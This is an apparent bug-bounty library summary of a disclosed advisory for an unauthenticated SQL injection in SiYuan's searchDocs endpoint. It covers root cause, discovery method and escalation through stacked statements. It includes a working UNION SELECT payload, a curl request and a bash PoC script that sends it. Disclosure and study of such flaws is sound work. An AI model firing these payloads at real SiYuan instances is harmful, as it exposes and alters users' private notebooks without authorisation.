# SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword (publish mode): cross-notebook read/write with statement stacking

Unauthenticated SQL injection in SiYuan's /api/filetree/searchDocs keyword lets publish-mode readers read and write all cleartext notebooks via stacked statements.

- Payout: Research
- Severity: critical
- Program: SiYuan
- Found by: Shirshakhtml
- Disclosed: 2026-10-01
- CVE: CVE-2026-69085
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-33jq-p8c2-q3q4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-33jq-p8c2-q3q4
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:go technique:chained technique:source-review vuln:access-control vuln:sqli

**Target:** /api/filetree/searchDocs search keyword (Go kernel, SQLite blocks table)
**Root cause:** The search keyword is whitespace-split and each token concatenated into a single-quoted LIKE literal in SearchDocs and NAMFilter with no escaping or binding, then spliced into a SELECT on the global blocks table. The query path skips the project's CheckSingleStatement/CheckReadonlyStatement guards and runs on a read-write handle whose driver executes stacked statements.
**Steps:**
1. Open the web UI once to unlock and ensure a notebook is open; obtain API token from conf.json or Settings > About.
2. Get an open notebook id via `POST /api/notebook/lsNotebooks` (closed:false).
3. Build body with keyword `poc%')/**/union/**/select/**/'poc','','poc','','$BOX_ID',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--` (spaces replaced with `/**/` due to strings.Fields).
4. POST to `/api/filetree/searchDocs` with `{"k":"<payload>"}` and Authorization token.
5. Observe `"path":"3.45.1"` (sqlite_version) in response; benign keyword `poc` returns nothing, confirming injection.
**How found:** Code-reading of the searchDocs data flow: traced keyword from handler through SearchDocs and NAMFilter concatenation into QueryRootBlockByCondition, noticed no bind/escape and that CheckSingleStatement/CheckReadonlyStatement were wired only into api/sql.go, then confirmed the vendored go-sqlite3 driver loops over `;`-separated statements and the DSN lacks mode=ro/_query_only.
**Exploitation:** Unauthenticated (publish mode with auth disabled) or any publish RoleReader token satisfies CheckAuth. The payload closes the LIKE literal and condition group, appends a UNION SELECT with 22 columns (col 5 = open notebook id to pass the box filter, col 6 = exfiltrated value returned as path), and comments out trailing `%'`, ORDER BY and LIMIT. Because the driver executes `;`-separated statements on a read-write handle without the single-statement guard, stacked INSERT/UPDATE/DELETE and ATTACH are possible, enabling cross-notebook read and write. load_extension is not enabled so no RCE.
**Escalation:** From read-only UNION disclosure to write via statement stacking on the same read-write handle; ATTACH reaches files. Scope spans all cleartext notebooks, not just publish-scoped content.
**Insight:** When a project has SQL-injection guards (CheckSingleStatement/CheckReadonlyStatement) wired into its explicit SQL endpoints, check whether internal query paths bypass them; also check the driver's multi-statement behavior and DSN for mode=ro/_query_only, since a read-only-looking search can become a write primitive.

## Proof of concept (copied exactly from the original report)

**UNION SELECT payload disclosing sqlite_version()**

```
{"k":"poc%')/**/union/**/select/**/'poc','','poc','','$BOX_ID',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"}
```

**curl request firing the injection**

```
curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"'
```

**PoC script building and sending payload**

```
PAYLOAD="poc%')/**/union/**/select/**/'poc','','poc','','${BOX_ID}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"
printf '{"k":"%s"}' "$PAYLOAD" > body.json
ok "wrote body.json"

# 6. fire the injection
say "Sending injection"
RESP=$(curl -s -X POST "$BASE/api/filetree/searchDocs" \
  -H "Content-Type: application/json" "${AUTH[@]}" -d @body.json)
VER=$(echo "$RESP" | grep -oE '"path":"[0-9][^"]*"' | head -1 | sed -E 's/"path":"([^"]*)"/\1/'
```

